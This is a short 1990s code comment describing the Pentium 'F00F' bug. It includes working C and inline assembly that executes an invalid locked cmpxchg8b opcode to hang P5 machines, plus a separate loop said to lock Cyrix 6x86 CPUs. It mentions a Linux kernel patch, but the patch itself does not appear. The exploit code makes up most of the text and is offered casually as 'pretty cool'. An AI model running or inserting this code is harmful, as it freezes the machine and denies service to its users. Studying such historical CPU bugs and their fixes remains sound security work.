/*
If you execute F0 0F C7 C8 on a P5 it will lock the
machine up. This is true for any operating system including usermode
Linux. It's pretty cool. Basically, the opcodes are an invalid form of
cmpxchg8b eax with a lock prefix.
See http://www.rootshell.com/
This code has been tested under Windows NT4 and Linux running on Pentium
and Pentium MMX cpus. This will NOT work on Pentium Pro and Pentium II,
AMD K6 and Cyrix 6x86 cpus.

char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

{
void (*f)() = x;
f();
}

For Cyrix 6x86 Processors:
static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};
main()
{
asm ("movl $c, %ebx\n\t"
"again: xchgl (%ebx), %eax\n\t"
"movl %eax, %edx\n\t"
"jmp again\n\t");
}

This are the relevant parts of the linux kernel 2.1.63 patch that fix the
Pentium bug that Alan mentioned.
